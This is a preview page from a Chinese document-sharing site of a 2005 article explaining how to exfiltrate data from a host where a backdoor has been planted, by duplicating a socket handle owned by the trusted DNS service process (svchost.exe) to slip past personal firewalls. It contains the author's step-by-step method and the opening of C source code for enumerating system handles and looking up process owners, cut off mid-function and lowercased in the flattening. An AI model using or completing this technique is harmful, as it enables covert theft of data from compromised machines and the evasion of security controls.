穿透防火墙的数据传输源码

穿透防火墙的数据传输源码

ID:37481651

大小:38.50 KB

页数:11页

时间:2019-05-24

穿透防火墙的数据传输源码_第1页
穿透防火墙的数据传输源码_第2页
穿透防火墙的数据传输源码_第3页
穿透防火墙的数据传输源码_第4页
穿透防火墙的数据传输源码_第5页
资源描述:

《穿透防火墙的数据传输源码》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库

1、穿透防火墙的数据传输源码通常,在我们为目标主机安放好了后门需要将数据传输出去时,主机上的防火墙都会让我们遇到一些不大不小的麻烦。如果为我们自己的进程开一个端口(甚至是新建套接字),那么大部分的防火墙都会将其拦截。有什么方法能"穿透"这些防火墙呢?下面我为您介绍一种"洞穿"防火墙小规模传输重要数据的方法。不过,不推荐您在其它情况下使用该方法。其实我的思路很简单,既然防火墙会拦截未验证进程而放行已验证进程的数据传输,那我们就将其它进程中允许数据传输的套接字句柄拿为已用。具体过程如下:1、找出目标进程;2、找出socket句柄;2、用duplicatehandle()函数将其socket转换

2、为能被自己使用;3、用转换后的socket进行数据传输。上面的过程写的很简单,但是实现起来还存在一些问题(后面再做讨论)。另外,从上面的实现方法中也可以看到一些很难控制的地方,比如在目标进程的socket不能是tcp,只能是udp,因为tcp的句柄已经跟外面建立了连接。同时,针对不同系统不同进程我们也很难定位一个稳定的进程socket。看到这么多"麻烦",你有点泄气了对不对?不要着急,再想一想,其实我们有一条真正通向罗马的"黄金大道"。我们都知道只要一台计算机联上了网络,那么有一种数据传输是肯定不会被拦截的,不错,就是dns!你能想像域名解析数据都被拦截所造成的后果吗?既然dns是不会

3、被拦的,而且它又是udp传输,我们就从它"开刀"。本文为您提供了一个通过直接控制dns进程(其实也就是svchost.exe,不过对应用户名是networkservice)进行数据传输的例子。查看详细源代码源代码部分:/*++madebyzwellzwell@sohu.com2005.4.12--*/#include#include#include#pragmacomment(lib,"ws2_32")#pragmacomment(lib,"wtsapi32")#definent_success(status)((nts

4、tatus)(status)>=0)#definestatus_info_length_mismatch((ntstatus)0xc0000004l)typedeflongntstatus;typedefstruct_system_handle_information{ulongprocessid;ucharobjecttypenumber;ucharflags;ushorthandle;pvoidobject;access_maskgrantedaccess;}system_handle_information,*psystem_handle_information;typedefu

5、long(winapi*zwquerysysteminformation)(ulong,pvoid,ulong,pulong);zwquerysysteminformationzwquerysysteminformation=null;boollocatentdllentry(void){boolret=false;charntdll_dll[]="ntdll.dll";hmodulentdll_dll=null;if((ntdll_dll=getmodulehandle(ntdll_dll))==null){printf("getmodulehandle()failed");retu

6、rn(false);}if(!(zwquerysysteminformation=(zwquerysysteminformation)getprocaddress(ntdll_dll,"zwquerysysteminformation"))){gotolocatentdllentry_exit;}ret=true;locatentdllentry_exit:if(false==ret){printf("getprocaddress()failed");}ntdll_dll=null;return(ret);}/*++thisroutineisusedtogetaprocesssuser

7、namefromitssid--*/boolgetusernamefromsid(psidpusersid,char*szusername){//sanitychecksanddefaultvalueif(pusersid==null)returnfalse;strcpy(szusername,"?");sid_name_usesnu;tcharszuser[_max_path];dwordchuser=_max_path;pdwordpcch

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。